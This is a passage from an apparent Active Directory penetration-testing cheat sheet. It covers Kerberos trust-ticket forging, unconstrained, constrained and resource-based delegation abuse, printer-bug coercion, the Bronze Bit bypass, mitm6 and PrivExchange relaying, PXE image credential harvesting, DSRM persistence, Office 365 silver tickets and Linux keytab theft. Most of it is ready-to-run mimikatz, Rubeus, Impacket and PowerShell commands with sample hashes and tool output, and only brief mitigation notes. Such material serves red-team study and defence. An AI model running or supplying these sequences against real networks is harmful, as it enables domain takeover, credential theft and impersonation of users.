mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
Use the Trust Ticket file to get a TGS for the targeted service
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
Inject the TGS file and access the targeted service with the spoofed rights.
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
Kerberos Unconstrained Delegation
The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.
:warning: Unconstrained delegation used to be the only option available in Windows 2000
SpoolService Abuse with Unconstrained Delegation
The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.
Prerequisites:
- Object with Property Trust this computer for delegation to any service (Kerberos only)
- Must have ADS_UF_TRUSTED_FOR_DELEGATION
- Must not have ADS_UF_NOT_DELEGATED flag
- User must not be in the Protected Users group
- User must not have the flag Account is sensitive and cannot be delegated
Find delegation
Check the TrustedForDelegation property.
# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
or
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
grep TRUSTED_FOR_DELEGATION domain_computers.grep
NOTE: Domain controllers usually have unconstrained delegation enabled
SpoolService status
Check if the spool service is running on the remote host
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
Monitor with Rubeus
Monitor incoming connections from Rubeus.
Rubeus.exe monitor /interval:1
Force a connect back from the DC
Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.
SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>
# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
If the attack worked you should get a TGT of the domain controller.
Load the ticket
Extract the base64 TGT from Rubeus output and load it to our current session.
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets
Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt
Mitigation
- Ensure sensitive accounts cannot be delegated
- Disable the Print Spooler Service
Kerberos Constrained Delegation
Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,
Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname
# Find the service
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
# Exploit with Impacket
$ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
# Exploit with Rubeus
$ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
$ dir \\dc.domain.com\c$
Kerberos Resource Based Constrained Delegation
Resource-based Constrained Delegation was introduced in Windows Server 2012.
The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
-
Import Powermad and Powerview
PowerShell.exe -ExecutionPolicy Bypass Import-Module .\powermad.ps1 Import-Module .\powerview.ps1 -
Get user SID
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} $ACE ConvertFrom-SID $ACE.SecurityIdentifier -
Abuse MachineAccountQuota to create a computer account and set an SPN for it
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force) -
Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl# alternative $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer M3DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} # alternative StandIn_Net35.exe --computer m3dc --sid SID_FROM_PREVIOUS_COMMAND -
Use Rubeus to get hash from password
Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan [*] Input password : Weakest123* [*] Input username : swktest$ [*] Input domain : factory.lan [*] Salt : FACTORY.LANswktest [*] rc4_hmac : F8E064CA98539B735600714A1F1907DD [*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498 [*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 [*] des_cbc_md5 : BA297CFD07E62A5E -
Impersonate domain admin using our newly created machine account
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan' [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5) [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan' [*] Sending S4U2proxy request [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan': doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE LmZhY3RvcnkubGFu [*] Action: Import Ticket [+] Ticket successfully imported!
Kerberos Bronze Bit Attack - CVE-2020-17049
An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.
Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.
:warning: Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)
Requirements:
- Service account's password hash
- Service account's with
Constrained DelegationorResource Based Constrained Delegation - Impacket PR #1013
Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.
# forwardable flag is only protected by the ticket encryption which uses the service account's password
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
# Access "c$"
ls \\service2.test.local\c$
Attack #2 - Write Permissions to one or more objects in the AD
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
Relay delegation with mitm6
Prerequisites:
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)
ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
then use rubeus with s4u to relay the delegation
PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.
-
Exchange server hostname or IP address
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username -
Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username -
Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange # https://github.com/G0ldenGunSec/PowerPriv powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 -
Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
python secretsdump.py xxxxxxxxxx -just-dc python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm -
Clean your mess and restore a previous state of the user's ACL
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
Alternatively you can use the Metasploit module
use auxiliary/scanner/http/exchange_web_server_pushsubscription
Alternatively you can use an all-in-one tool : Exchange2domain.
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
PXE Boot image attack
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
-
Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
-
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
net user hacker Password123! /add net localgroup administrators /add hacker -
Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.
# Import the module PS > Import-Module .\PowerPXE.ps1 # Start the exploit on the Ethernet interface PS > Get-PXEcreds -InterfaceAlias Ethernet PS > Get-PXECreds -InterfaceAlias « lab 0 » # Wait for the DHCP to get an address >> Get a valid IP address >>> >>> DHCP proposal IP address: 192.168.22.101 >>> >>> DHCP Validation: DHCPACK >>> >>> IP address configured: 192.168.22.101 # Extract BCD path from the DHCP response >> Request BCD File path >>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd >>> >>> TFTP IP Address: 192.168.22.3 # Download the BCD file and extract wim files >> Launch TFTP download >>>> Transfer succeeded. >> Parse the BCD file: conf.bcd >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim >> Launch TFTP download >>>> Transfer succeeded. # Parse wim files to find interesting data >> Open LiteTouchPE_x86.wim >>>> Finding Bootstrap.ini >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$ >>>> >>>> UserID = MdtService >>>> >>>> UserPassword = Somepass1
DSRM Credentials
Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.
This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
Impersonating Office 365 Users on Azure AD Connect
Prerequisites:
-
Obtain NTLM password hash of the AZUREADSSOACC account
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit -
AAD logon name of the user we want to impersonate (userPrincipalName or mail)
elrond@contoso.com -
SID of the user we want to impersonate
S-1-5-21-2121516926-2695913149-3163778339-1234
Create the Silver Ticket and inject it into Kerberos cache:
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
Launch Mozilla Firefox, go to about:config
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.
Linux Active Directory
CCACHE ticket reuse from /tmp
List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache
When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
CCACHE ticket reuse from keyring
Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
CCACHE ticket reuse from keytab
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
Extract accounts from /etc/krb5.keytab
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
[...]
On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
REALM : DOMAIN
SERVICE PRINCIPAL : host/computer.domain
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
On macOS you can use bifrost.
./bifrost -action dump -source keytab -path test
Connect to the machine using the account and the hash with CME.
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
References
- Explain like I’m 5: Kerberos - Apr 2, 2013 - @roguelynn
- Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter
- Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema
- Abusing Kerberos: Kerberoasting - Haboob Team
- Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid
- Attacks Against Windows PXE Boot Images - February 13th, 2018 - Thomas Elling
- BUILDING AND ATTACKING AN ACTIVE DIRECTORY LAB WITH POWERSHELL - @myexploit2600 & @5ub34x
- Becoming Darth Sidious: Creating a Windows Domain (Active Directory) and hacking it - @chryzsh
- BlueHat IL - Benjamin Delpy
- COMPROMISSION DES POSTES DE TRAVAIL GRÂCE À LAPS ET PXE MISC n° 103 - mai 2019 - Rémi Escourrou, Cyprien Oger
- Chump2Trump - AD Privesc talk at WAHCKon 2017 - @l0ss
- DiskShadow The return of VSS Evasion Persistence and AD DB extraction
- Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin
- Dumping Domain Password Hashes - Pentestlab
- Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace
- Exploiting PrivExchange - April 11, 2019 - @chryzsh
- Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019
- Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
- How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf
- Fun with LDAP, Kerberos (and MSRPC) in AD Environments
- Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r
- Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r
- Golden ticket - Pentestlab
- How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff
- Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018
- Invoke-Kerberoast - Powersploit Read the docs
- Kerberoasting - Part 1 - Mubix “Rob” Fuller
- Passing the hash with native RDP client (mstsc.exe)
- Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)
- Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView
- Pen Testing Active Directory Environments - Part III: Chasing Power Users
- Pen Testing Active Directory Environments - Part IV: Graph Fun
- Pen Testing Active Directory Environments - Part V: Admins and Graphs
- Pen Testing Active Directory Environments - Part VI: The Final Case
- Penetration Testing Active Directory, Part I - March 5, 2019 - Hausec
- Penetration Testing Active Directory, Part II - March 12, 2019 - Hausec
- Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman
- Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith
- Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave
- Roasting AS-REPs - January 17, 2017 - harmj0y
- Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher
- Using bloodhound to map the user network - Hausec
- WHAT’S SPECIAL ABOUT THE BUILTIN ADMINISTRATOR ACCOUNT? - 21/05/2012 - MORGAN SIMONSEN
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 1
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 2
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 3
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 4
- WONKACHALL AKERVA NDH2018 – WRITE UP PART 5
- Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami
- [PrivExchange] From user to domain admin in less than 60sec ! - davy
- Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy - March 16, 2017 - harmj0y
- Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ
- Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf
- All you need to know about Keytab files - Pierre Audonnet [MSFT] - January 3, 2018
- Taming the Beast Assess Kerberos-Protected Networks - Emmanuel Bouillon
- Playing with Relayed Credentials - June 27, 2018
- Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema
- Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019
- How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous
- SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX
- Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema
- A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0
- Carlos Garcia - Rooted2019 - Pentesting Active Directory Forests public.pdf
- Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10
- Active-Directory-Exploitation-Cheat-Sheet - @buftas
- GPO Abuse - Part 1 - RastaMouse - 6 January 2019
- GPO Abuse - Part 2 - RastaMouse - 13 January 2019
- Abusing GPO Permissions - harmj0y - March 17, 2016
- How To Attack Kerberos 101 - m0chan - July 31, 2019
- ACE to RCE - @JustinPerdok - July 24, 2020
- Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort, September 2020
- Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs
- CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020
- CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020
- Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory
- GPO Abuse: "You can't see me" - Huy Kha - July 19, 2019